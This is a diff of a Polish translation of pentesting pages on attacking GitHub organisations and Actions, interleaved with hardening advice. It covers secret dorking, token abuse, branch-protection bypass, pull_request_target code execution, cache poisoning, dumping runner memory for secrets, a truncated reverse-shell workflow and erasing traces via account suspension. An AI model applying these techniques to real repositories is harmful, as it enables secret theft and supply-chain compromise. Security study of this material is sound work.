W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repo lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
|
||||
Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
|
||||
|
||||
Narzędzia (każde narzędzie zawiera swoją listę dorks):
|
||||
|
||||
@@ -34,7 +34,7 @@ Narzędzia (każde narzędzie zawiera swoją listę dorks):
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repo i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
|
||||
Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repozytorium i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
|
||||
|
||||
Narzędzia (każde narzędzie zawiera swoją listę regexów):
|
||||
|
||||
@@ -47,11 +47,11 @@ Narzędzia (każde narzędzie zawiera swoją listę regexów):
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
|
||||
> [!WARNING]
|
||||
> Kiedy szukasz wycieków w repo i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
|
||||
> Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
|
||||
|
||||
### Zewnętrzne forki
|
||||
|
||||
Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
|
||||
Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby dowiedzieć się, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks w usuniętych/wewnętrznych forkach
|
||||
|
||||
@@ -61,24 +61,24 @@ Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażl
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Wzmacnianie organizacji
|
||||
## Wzmocnienie organizacji
|
||||
|
||||
### Uprawnienia członków
|
||||
|
||||
Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **członków** organizacji. Można je kontrolować z strony `https://github.com/organizations/<org_name>/settings/member_privileges` lub z [**API organizacji**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zalecane jest **None** lub **Read**.
|
||||
- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zaleca się **None** lub **Read**.
|
||||
- **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji.
|
||||
- **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron.
|
||||
- **Prośby o dostęp do integracji**: Po włączeniu tego, zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
|
||||
- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
|
||||
- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
|
||||
- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej jest to wyłączyć.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
|
||||
- **Więcej rzeczy można skonfigurować** na tej stronie, ale powyższe są najbardziej związane z bezpieczeństwem.
|
||||
- **Prośby o dostęp do integracji**: Po włączeniu tej opcji zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_
|
||||
- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z uprawnieniami **admin** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_
|
||||
- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z uprawnieniami **admin** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_
|
||||
- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone.
|
||||
- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli je masz_
|
||||
- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem.
|
||||
|
||||
### Ustawienia akcji
|
||||
|
||||
@@ -90,9 +90,9 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z
|
||||
- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflow i które workflow powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Workflow pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników.
|
||||
- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
|
||||
- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli je masz_
|
||||
- **Uruchamianie workflow z pull requestów**: Jest **wysoce odradzane uruchamianie workflow z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
|
||||
- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
|
||||
- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli je masz_
|
||||
- **Uprawnienia workflow**: Zdecydowanie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflow.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
@@ -100,7 +100,7 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z
|
||||
|
||||
_Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_
|
||||
|
||||
- **Polityka dostępu aplikacji stron trzecich**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
|
||||
- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
|
||||
- **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie).
|
||||
|
||||
## Rozpoznanie i ataki nadużywające poświadczeń
|
||||
@@ -142,9 +142,9 @@ gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Z tokenem użytkownika
|
||||
|
||||
Aby uzyskać wprowadzenie do [**Tokenów użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
|
||||
Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień możesz być w stanie wykonać różne akcje.
|
||||
Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje.
|
||||
|
||||
Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
@@ -177,11 +177,11 @@ abusing-github-actions/
|
||||
## Ominięcie ochrony gałęzi
|
||||
|
||||
- **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie.
|
||||
- _Uwaga dla tego i dla ograniczenia Właścicieli kodu, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
|
||||
- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
|
||||
- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią.
|
||||
- **Wymagaj przeglądów od Właścicieli kodu**: Jeśli to jest aktywowane i jesteś Właścicielem kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
|
||||
- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli kodu nie jest stosowana.**
|
||||
- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochrony pull requestów.
|
||||
- **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
|
||||
- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza zastrzeżeń, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.**
|
||||
- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochronę pull requestów.
|
||||
- **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi.
|
||||
- **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko.
|
||||
- **Usuwanie ochron gałęzi**: Jeśli jesteś **administratorem repozytorium, możesz wyłączyć ochrony**, połączyć swój PR i ponownie ustawić ochrony.
|
||||
@@ -216,7 +216,7 @@ Zauważ, że **po utworzeniu** gałęzi **ochrona gałęzi będzie miała zastos
|
||||
|
||||
### Fałszywe Commity - Tylne wejście przez commity repo
|
||||
|
||||
W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR **nie zostanie zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć się do użycia konkretnego commita z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**.
|
||||
W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR nie jest **zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć do użycia konkretny commit z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**.
|
||||
|
||||
Jak [**to**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
|
||||
@@ -28,7 +28,7 @@ Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytori
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję:
|
||||
Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włącza tę opcję:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -81,7 +81,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji.
|
||||
> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretnych**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -181,11 +181,11 @@ Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrz
|
||||
> [!NOTE]
|
||||
> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/typówki**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
|
||||
>
|
||||
> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął swoje konto.~~
|
||||
> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.~~
|
||||
|
||||
Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
|
||||
> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
|
||||
|
||||
Atakujący mógłby zmodyfikować definicję akcji Github, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
|
||||
|
||||
@@ -238,10 +238,10 @@ W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR**
|
||||
|
||||
W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**.
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> [!CAUTION]
|
||||
> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># NIEBEZPIECZNE. Podano tylko jako przykład.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Podano tylko jako przykład.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -271,12 +271,12 @@ Dziękuję!
|
||||
|
||||
Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> [!WARNING]
|
||||
> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań do wykonywania w sposób bezpieczny, nawet jeśli akcja jest skonfigurowana w sposób niebezpieczny (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
|
||||
|
||||
### Wstrzyknięcia Skryptów w Kontekście <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonywania dowolnego kodu:**
|
||||
Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -360,7 +360,7 @@ Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytk
|
||||
|
||||
### Zatrucie pamięci podręcznej
|
||||
|
||||
Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprumuje** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprumować** ten workflow.
|
||||
Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprimitował** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprimitować** ten workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Zatrucie artefaktów
|
||||
|
||||
Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprumować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprumować inne workflow**:
|
||||
Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprimitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprimitować inne workflow**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uzyskaj powłokę odwrotną z sekretami</summary>
|
||||
<summary>Uzyskaj powłokę odwrotną z tajemnicami</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }}
|
||||
|
||||
Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze nie-Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github.
|
||||
|
||||
**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
|
||||
**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa mogłaby **ukraść sekrety** innej.
|
||||
|
||||
W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci:
|
||||
```bash
|
||||
@@ -479,12 +479,12 @@ Sprawdź [**ten post, aby uzyskać więcej informacji**](https://karimrahal.com/
|
||||
|
||||
### Rejestr obrazów Docker w Github
|
||||
|
||||
Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker wewnątrz Github**.\
|
||||
Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker w Github**.\
|
||||
Przykład można znaleźć w poniższym rozwijanym:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Akcja Github Buduj & Wypchnij obraz Docker</summary>
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -530,11 +530,11 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### Wrażliwe informacje w logach Github Actions
|
||||
|
||||
Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unika ich wyświetlania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unikać ich pokazywania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Zacieranie śladów
|
||||
|
||||
(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją).
|
||||
(Teknik z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot akcji. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo uzyskać **zawieszenie swojego konta GitHub, albo oznaczenie swojego konta**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją).
|
||||
|
||||
Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swoją eksploatację niewidoczną na githubie.
|
||||
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
# Gh Actions - Wstrzyknięcia skryptów kontekstowych
|
||||
# Gh Actions - Wstrzykiwanie skryptów kontekstowych
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Sposoby dostępu do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Sposoby na dostęp do danych z Github, które rzekomo zostały usunięte, zostały [**zgłoszone w tym wpisie na blogu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Dostęp do usuniętych danych forków
|
||||
|
||||
|
||||
@@ -24,9 +24,9 @@ I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
|
||||
W organizacji użytkownicy mogą mieć różne role:
|
||||
|
||||
- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie mniej niż dla dwóch osób w twojej organizacji.
|
||||
- **Członkowie organizacji**: Domyślną, nieadministracyjną rolą dla **osób w organizacji** jest członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**.
|
||||
- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**.
|
||||
- **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności.
|
||||
- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji.
|
||||
- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje to każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji.
|
||||
- Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji.
|
||||
- **Menedżerowie aplikacji Github**: Aby umożliwić dodatkowym użytkownikom **zarządzanie aplikacjami GitHub należącymi do organizacji**, właściciel może przyznać im uprawnienia menedżera aplikacji GitHub.
|
||||
- **Zewnętrzni współpracownicy**: Zewnętrzny współpracownik to osoba, która ma **dostęp do jednego lub więcej repozytoriów organizacji, ale nie jest wyraźnie członkiem** organizacji.
|
||||
@@ -44,7 +44,7 @@ Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków or
|
||||
- Czy możliwe jest forkowanie repozytoriów.
|
||||
- Czy możliwe jest zapraszanie zewnętrznych współpracowników.
|
||||
- Czy publiczne lub prywatne strony mogą być publikowane.
|
||||
- Uprawnienia, jakie mają administratorzy nad repozytoriami.
|
||||
- Uprawnienia, jakie mają administratorzy do repozytoriów.
|
||||
- Czy członkowie mogą tworzyć nowe zespoły.
|
||||
|
||||
### Role w repozytorium
|
||||
@@ -55,7 +55,7 @@ Domyślnie role w repozytorium są tworzone:
|
||||
- **Triage**: Zalecane dla **współpracowników, którzy muszą proaktywnie zarządzać problemami i pull requestami** bez dostępu do zapisu.
|
||||
- **Zapis**: Zalecane dla współpracowników, którzy **aktywnie wprowadzają zmiany do twojego projektu**.
|
||||
